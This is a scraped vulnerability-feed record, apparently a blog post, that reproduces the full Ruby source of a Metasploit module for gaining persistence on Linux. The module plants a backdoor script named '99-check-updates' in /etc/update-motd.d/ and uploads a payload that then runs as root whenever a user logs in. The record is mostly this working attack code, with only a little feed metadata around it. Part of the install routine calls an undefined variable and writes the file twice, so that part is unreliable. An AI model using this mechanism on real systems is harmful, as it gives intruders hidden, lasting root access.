{“lastseen”:”2025-09-13T19:04:31″,”description”:”This module will add a script in \/etc\/update-motd.d\/ in order to persist a payload. The payload will be executed with root…”,”published”:”2025-09-13T18:55:20″,”modified”:”2025-09-13T18:55:20″,”type”:”metasploit”,”title”:”update-motd.d Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-LINUX-PERSISTENCE-MOTD-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n include Msf::Post::File\\n include Msf::Post::Unix\\n include Msf::Exploit::EXE # for generate_payload_exe\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Deprecated\\n moved_from ‘exploits\/linux\/local\/motd_persistence’\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘update-motd.d Persistence’,\\n ‘Description’ =\\u003e %q{\\n This module will add a script in \/etc\/update-motd.d\/ in order to persist a payload.\\n The payload will be executed with root privileges everytime a user logs in.\\n Root privileges are likely required to write to \/etc\/update-motd.d\/.\\n Verified on Ubuntu 22.04\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [ ‘Julien Voisin’ ],\\n ‘Platform’ =\\u003e [ ‘unix’, ‘linux’ ],\\n ‘Arch’ =\\u003e [\\n ARCH_CMD,\\n ARCH_X86,\\n ARCH_X64,\\n ARCH_ARMLE,\\n ARCH_AARCH64,\\n ARCH_PPC,\\n ARCH_MIPSLE,\\n ARCH_MIPSBE\\n ],\\n ‘Payload’ =\\u003e {\\n ‘BadChars’ =\\u003e ‘#%\\\\n\\”‘\\n },\\n ‘SessionTypes’ =\\u003e [ ‘shell’, ‘meterpreter’ ],\\n ‘Targets’ =\\u003e [ [‘Automatic’, {}] ],\\n ‘Privileged’ =\\u003e true,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘1999-01-01’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK]\\n },\\n ‘References’ =\\u003e [\\n [‘URL’, ‘https:\/\/manpages.ubuntu.com\/manpages\/oracular\/en\/man5\/update-motd.5.html’],\\n ]\\n )\\n )\\n register_options([\\n OptString.new(‘BACKDOOR_NAME’, [true, ‘The filename of the backdoor’, ’99-check-updates’]),\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of the payload file to write’]),\\n ])\\n end\\n\\n def check\\n return CheckCode::Safe(‘\/etc\/update-motd.d\/ does not exist’) unless exists? ‘\/etc\/update-motd.d\/’\\n return CheckCode::Safe(‘\/etc\/update-motd.d\/ is not writable’) unless writable? ‘\/etc\/update-motd.d\/’\\n\\n print_warning(\\”#{datastore[‘BACKDOOR_NAME’]} already exists\\”) if exists? \\”\/etc\/update-motd.d\/#{datastore[‘BACKDOOR_NAME’]}\\”\\n\\n CheckCode::Appears(‘\/etc\/update-motd.d\/ is writable’)\\n end\\n\\n def install_persistence\\n update_path = ‘\/etc\/update-motd.d\/’\\n\\n backdoor_path = \\”#{update_path}\/#{datastore[‘BACKDOOR_NAME’]}\\”\\n\\n if exists? backdoor_path\\n fail_with Failure::BadConfig, \\”#{backdoor_path} is already present\\”\\n end\\n\\n if payload.arch.first == ‘cmd’\\n write_file(backdoor_path, \\”#!\/bin\/sh\\\\n#{payload.encoded}\\”)\\n else\\n backdoor_path = writable_dir\\n backdoor_path = backdoor_path.end_with?(‘\/’) ? backdoor_path : \\”#{backdoor_path}\/\\”\\n backdoor_name = datastore[‘PAYLOAD_NAME’] || rand_text_alphanumeric(5..10)\\n backdoor_path \\u003c\\u003c backdoor_name\\n print_status(\\”Uploading payload file to #{backdoor_path}\\”)\\n upload_and_chmodx backdoor_path, generate_payload_exe\\n write_file(path, (autostart_stub + [\\”Exec=\\\\\\”#{backdoor_path}\\\\\\”\\”]).join(\\”\\\\n\\”))\\n @clean_up_rc \\u003c\\u003c \\”rm #{backdoor_path}\\\\n\\”\\n end\\n\\n write_file(backdoor_path, \\”#!\/bin\/sh\\\\n#{payload.encoded}\\”)\\n @clean_up_rc \\u003c\\u003c \\”rm #{backdoor_path}\\\\n\\”\\n chmod(backdoor_path, 0o755)\\n print_status \\”#{backdoor_path} written\\”\\n print_good(‘Payload will be triggered at user login’)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/persistence\/motd.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/persistence\/motd\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-09-13T19:04:31″,”description”:”This module will add a script in \/etc\/update-motd.d\/ in order to persist a payload. The payload will be executed with root…”,”published”:”2025-09-13T18:55:20″,”modified”:”2025-09-13T18:55:20″,”type”:”metasploit”,”title”:”update-motd.d Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-LINUX-PERSISTENCE-MOTD-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-17321","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n